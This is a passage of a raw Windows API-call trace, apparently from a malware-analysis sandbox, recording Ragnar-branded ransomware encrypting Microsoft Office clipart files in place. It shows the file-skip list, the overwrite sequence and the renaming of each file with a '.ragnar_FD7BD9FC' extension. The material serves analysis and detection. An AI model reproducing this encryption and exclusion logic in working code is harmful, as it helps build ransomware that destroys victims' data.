[0091.725] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x75ca, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x75ca, lpOverlapped=0x0) returned 1 [0091.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x75ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.725] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x75ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.725] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.725] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.725] GetProcessHeap () returned 0x580000 [0091.725] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.726] CloseHandle (hObject=0xf4) returned 1 [0091.726] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" [0091.726] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.ragnar_FD7BD9FC" [0091.726] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1 [0091.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.726] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01566_.WMF" | out: lpString1="SO01566_.WMF") returned="SO01566_.WMF" [0091.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF") returned=".WMF" [0091.726] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.726] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="autorun.inf") returned 1 [0091.726] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="boot.ini") returned 1 [0091.726] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="bootfont.bin") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="bootsect.bak") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="bootmgr") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="bootmgr.efi") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="desktop.ini") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="iconcache.db") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="ntldr") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="ntuser.dat") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="ntuser.ini") returned 1 [0091.727] lstrcmpiW (lpString1="SO01566_.WMF", lpString2="thumbs.db") returned -1 [0091.727] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.727] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.727] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.727] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.727] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.727] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.727] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf")) returned 0x20 [0091.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.728] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20904) returned 1 [0091.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x519f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.728] GetProcessHeap () returned 0x580000 [0091.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.728] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.731] VirtualAlloc (lpAddress=0x0, dwSize=0x51a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.732] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x51a8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x51a8, lpOverlapped=0x0) returned 1 [0091.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.733] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.733] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x51a8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x51a8, lpOverlapped=0x0) returned 1 [0091.733] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.733] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x51a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.734] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.734] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.734] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.734] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.734] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.734] GetProcessHeap () returned 0x580000 [0091.734] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.734] CloseHandle (hObject=0xf4) returned 1 [0091.734] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" [0091.734] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.ragnar_FD7BD9FC" [0091.734] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.735] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0091.735] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.735] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01568_.WMF" | out: lpString1="SO01568_.WMF") returned="SO01568_.WMF" [0091.735] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF") returned=".WMF" [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="autorun.inf") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="boot.ini") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="bootfont.bin") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="bootsect.bak") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="bootmgr") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="bootmgr.efi") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="desktop.ini") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="iconcache.db") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="ntldr") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="ntuser.dat") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="ntuser.ini") returned 1 [0091.735] lstrcmpiW (lpString1="SO01568_.WMF", lpString2="thumbs.db") returned -1 [0091.735] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.735] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.735] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.735] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.735] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.736] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.736] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf")) returned 0x20 [0091.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.736] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21680) returned 1 [0091.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x54a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.736] GetProcessHeap () returned 0x580000 [0091.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.736] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.740] VirtualAlloc (lpAddress=0x0, dwSize=0x54b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.741] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x54b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x54b0, lpOverlapped=0x0) returned 1 [0091.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.762] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.762] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x54b0, lpOverlapped=0x0) returned 1 [0091.762] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.762] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.762] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x54b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.763] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.763] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.763] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.763] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.763] GetProcessHeap () returned 0x580000 [0091.763] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.763] CloseHandle (hObject=0xf4) returned 1 [0091.763] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" [0091.763] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.ragnar_FD7BD9FC" [0091.763] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.764] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1 [0091.764] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.764] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01569_.WMF" | out: lpString1="SO01569_.WMF") returned="SO01569_.WMF" [0091.764] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF") returned=".WMF" [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="autorun.inf") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="boot.ini") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="bootfont.bin") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="bootsect.bak") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="bootmgr") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="bootmgr.efi") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="desktop.ini") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="iconcache.db") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="ntldr") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="ntuser.dat") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="ntuser.ini") returned 1 [0091.764] lstrcmpiW (lpString1="SO01569_.WMF", lpString2="thumbs.db") returned -1 [0091.764] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.764] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.764] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.764] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.764] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.764] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.764] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf")) returned 0x20 [0091.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.766] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18336) returned 1 [0091.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4797, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.766] GetProcessHeap () returned 0x580000 [0091.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.766] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.767] VirtualAlloc (lpAddress=0x0, dwSize=0x47a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.768] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x47a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x47a0, lpOverlapped=0x0) returned 1 [0091.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.769] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.769] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x47a0, lpOverlapped=0x0) returned 1 [0091.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.769] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x47a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.770] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, 